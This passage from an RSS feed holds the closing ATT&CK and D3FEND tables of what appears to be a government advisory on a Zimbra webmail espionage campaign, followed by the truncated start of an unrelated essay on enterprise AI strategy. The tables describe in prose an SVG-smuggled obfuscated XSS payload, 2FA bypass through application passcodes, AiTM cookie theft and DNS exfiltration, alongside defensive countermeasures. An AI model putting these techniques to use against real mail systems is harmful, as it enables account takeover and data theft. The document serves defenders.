<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



